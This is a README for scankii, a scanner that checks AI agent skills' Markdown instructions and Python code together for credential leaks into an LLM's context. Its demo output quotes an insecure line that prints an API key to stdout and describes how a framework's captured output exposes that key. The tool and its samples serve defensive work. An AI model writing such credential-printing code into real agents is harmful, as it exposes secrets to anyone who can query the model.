❓ What does it do?

When you build or use an AI Agent (like a custom ChatGPT bot or AutoGen agent), you give it "skills" or "tools." A skill is simply a combination of Python code and English instructions.

Standard security scanners only check your code. But what if your English instructions accidentally tell the AI to print or expose a secret password?

scankii solves this by reading both your English instructions and your Python code at the same time. It spots dangerous cross-modal interactions where the prompt tricks the code into giving away your API keys.

📑 Table of Contents

• ✨ What does it work with?
• ⚠️ The Problem: Cross-Modal Leakage
• ⚙️ How scankii works
• 🚀 Demo
• 📦 Install & Usage
• 🛡️ What It Detects
• ⚔️ Why Not TruffleHog / GitLeaks?
• 🔌 Enterprise Integrations
• 🤝 Contributing & Support

✨ What does it work with?

scankii is framework-agnostic. It analyzes your raw Python code and Markdown text, which means it works seamlessly with any AI architecture or ecosystem:

• 🤖 Agent Frameworks: LangChain, AutoGen, CrewAI, Semantic Kernel, LlamaIndex, Model Context Protocol (MCP).
• 💻 AI Coding Assistants: Cursor IDE, Google Antigravity, Claude Code (scan your .cursorrules).
• 🧠 LLMs: OpenAI GPT-4, Claude 3.5, Gemini, Llama 3 (leaks happen in the execution layer!).
• 🛠 IDEs: Because scankii exports standard SARIF reports, you can view the security warnings natively inside VS Code, Cursor, or GitHub Advanced Security.

⚠️ The Problem: Cross-Modal Leakage

In modern LLM agent architectures, agents read natural language instructions and execute code. This creates a unique vulnerability:

1. 🟢 The Code is "Safe": The source code might securely read an API key from the environment.
2. 🟢 The Markdown is "Safe": The SKILL.md might benignly explain how to use the skill.
3. 🔴 The Intersection is Vulnerable: If the SKILL.md instructs the agent to pass a credential to a function, and that function prints it for debugging, the agent framework captures that stdout and injects it back into the LLM context window. The secret is now exposed!

scankii correlates natural language prompts with Abstract Syntax Tree (AST) analysis to catch these data leaks before your agent hits production.

⚙️ How scankii works

scankii employs a dual-engine static analysis pipeline.

graph TD
    subgraph "scankii Pipeline"
        direction TB
        
        subgraph "1. Static Analysis"
            A[SKILL.md] -->|Natural Language| B[NL Semantic Analyzer]
            C[Source Code] -->|AST Parsing| D[AST Syntax Analyzer]
        end
        
        subgraph "2. Cross-Modal Correlation"
            B -->|Extracted Intents| E{Cross-Modal Engine}
            D -->|Variable Sinks| E
        end
        
        subgraph "3. Scoring & Reporting"
            E -->|Unmatched Findings| F[Scorer]
            E -->|Correlated Leaks| F
            F -->|Severity Assessment| G[Reporters]
        end
    end
    
    G --> H((Terminal UI))
    G --> I((JSON))
    G --> J((SARIF))

🚀 Demo

$ scankii scan examples/vulnerable-skill --explain

┏━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━┓
┃ File   ┃ Line ┃ Pattern          ┃ Channel ┃ Severity ┃
┡━━━━━━━━┇━━━━━━┇━━━━━━━━━━━━━━━━━━┇━━━━━━━━━┇━━━━━━━━━━┩
│ run.py │    7 │ Cross-Modal Leak │ stdout  │  MEDIUM  │
│ run.py │    8 │ Cross-Modal Leak │ network │ CRITICAL │
└────────┴──────┴──────────────────┴─────────┴──────────┘

  Total: 2  (CRITICAL: 1, MEDIUM: 1)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🚨 CRITICAL — Information Exposure via network
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Pattern:   Information Exposure
Channel:   network
File:      run.py, line 8
Score:     5.04

  Attack Flow:
    print(f"Using key: {api_key}")  ← sinks to stdout
    ↓
    stdout ← captured by agent framework
    ↓
    LLM context window ← credential queryable via natural language

📦 Install & Usage

Install via pip:

pip install scankii

Run locally: Your code and proprietary agent skills never leave your machine!

# Scan a directory
scankii scan ./my-skill/

# Scan with detailed attack explanations
scankii scan ./my-skill/ --explain

# Export to JSON
scankii scan ./my-skill/ --format json

# Export to SARIF (GitHub Advanced Security)
scankii scan ./my-skill/ --format sarif

# Auto-Fix Vulnerabilities
scankii scan ./my-skill/ --resolve

🛡️ What It Detects

⏳ The DEFER Severity State

Not all vulnerabilities can be statically resolved. When scankii detects an Authority Boundary (e.g., an agent negotiating a financial hop with a spend cap and recipient), it flags it with a special DEFER severity (marked in cyan ⏳). This tells the developer: "This pattern is statically well-formed, but it requires a runtime witness to prove the mandate."

⚔️ Why Not TruffleHog / GitLeaks?

Existing tools scan your code for static secrets. scankii is purpose-built for LLM agents, focusing on the intersection of natural language and code.

🔌 Enterprise Integrations

GitHub Action

Upload results directly to GitHub Code Scanning on every PR:

name: Skill Guard
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: scankii/scankii@v1
        with:
          path: ./skills/
          sarif-upload: true

Pre-commit Hook

Stop secrets from being committed locally:

repos:
  - repo: https://github.com/ashp15205/scankii
    rev: v1.2.2
    hooks:
      - id: scankii

🤝 Contributing & Support

1. Fork the repository
2. Create a feature branch: git checkout -b feature/my-feature
3. Run tests: pytest tests/ -v
4. Submit a pull request!

Academic Origins

The 10-pattern leakage taxonomy is based on the empirical research in:

Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).

Support the Project

If you find scankii useful, consider buying me a coffee! ☕️

Released under the MIT License.